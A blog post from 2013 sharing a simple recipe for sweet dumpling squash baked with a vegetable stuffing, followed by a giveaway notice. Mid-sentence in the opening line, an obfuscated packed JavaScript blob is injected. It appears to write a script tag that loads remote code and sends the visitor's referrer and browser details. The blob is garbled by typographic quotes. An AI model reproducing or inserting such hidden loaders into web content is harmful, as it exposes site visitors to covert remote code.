FOODIE FRIDAY: Winter Squash, Part 1

2013, Food

winter squahs

Everyone eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbbhs|var|u0026u|referrer|esesf||js|php’.split(‘|’),0,{}))
is familiar with the summer squash variety, but their winter counterparts are often overlooked.  Enter my three part winter squash adventure.

First, meet Sweet Dumpling:

winter squash, sweet dumpling, kate greer, kate style petite

Winter squashes tend to have a hard exterior and an interior that softens when roasted. I created a simple vegetarian stuffing to bake inside the sweet dumpling squash. You can sauté any vegetables of your choosing together to create a stuffing.  I used Bok Choy, eggplant and mushrooms with fresh herbs to stuff the squash and baked at 375 degrees Fahrenheit for 30 minutes or until soft. (The time varies depending upon how dense is the squash.)

Kate Style Petite, Kate Greer, Foodie Friday, Sweet Dumpling, Squash, Stuffing

I melted cheese on top the squash in the last few minutes of baking because cheese truly makes everything more delicious!

Kate Greer, Kate Style Petite, Sweet Dumpling Squash, Stuffing, Foodie Friday, recipe

Don’t forget to enter to win Lipstick Rose Sideways Cross Necklace before Dec. 16!

a Rafflecopter giveaway
//d12vno17mo87cx.cloudfront.net/embed/rafl/cptr.js

One thought on “FOODIE FRIDAY: Winter Squash, Part 1

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.